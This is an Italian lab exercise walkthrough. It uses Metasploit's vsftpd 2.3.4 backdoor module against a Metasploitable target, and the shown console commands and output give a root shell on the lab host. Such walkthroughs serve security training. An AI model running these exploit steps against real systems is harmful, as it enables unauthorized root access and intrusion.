

Nell'esercizio di oggi andremo a sfruttare una vulnerabilità del protocollo FTP utilizzando un exploit.

Un exploit è un software o un codice per sfruttare una vulnerabilità in un sistema informatico al fine di ottenere un vantaggio non autorizzato.

Noi sfrutteremo una vulnerabilità presente nel protocollo FTP

```
kali@kali: ~  
Metasploit  
=[ metasploit v6.3.27-dev ]  
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post ]  
+ -- --=[ 1382 payloads - 46 encoders - 11 nops ]  
+ -- --=[ 9 evasion ]  
  
Metasploit tip: You can use help to view all  
available commands  
Metasploit Documentation: https://docs.metasploit.com/  
  
msf6 > search vsftpd  
  
Matching Modules  
=====
```

#	Name	Disclosure Date	Rank	Check	D
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	✓
SFTPD	2.3.2 Denial of Service				
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	✓
SFTPD	v2.3.4 Backdoor Command Execution				

tramite il comando msfconsole troviamo il servizio da exploitare(vsftpd) e tramite le impostazioni andremo a modificare il RHOSTS (inserendo l'IP della macchina da attaccare)

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact  
payload => cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Fatto ciò dobbiamo selezionare il payload dell'exploit, ossia le istruzioni che andranno poi a creare la shell sul nostro target.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact  
payload => cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Procediamo a far partire l'attacco tramite il comando exploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact  
payload => cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit  
  
[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)  
[*] 192.168.50.101:21 - USER: 331 Please specify the password.  
[+] 192.168.50.101:21 - Backdoor service has been spawned, handling...  
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 3 opened (192.168.50.104:39107 -> 192.168.50.101:6200) at 2024-01-15 10:43:31 +0100  
  
pwd  
/  
mkdir test_meta
```

Adesso che siamo all'interno del sistema target andiamo a creare una cartella su Metasploitable.

```
ut  
srw  
sys  
test_meta
```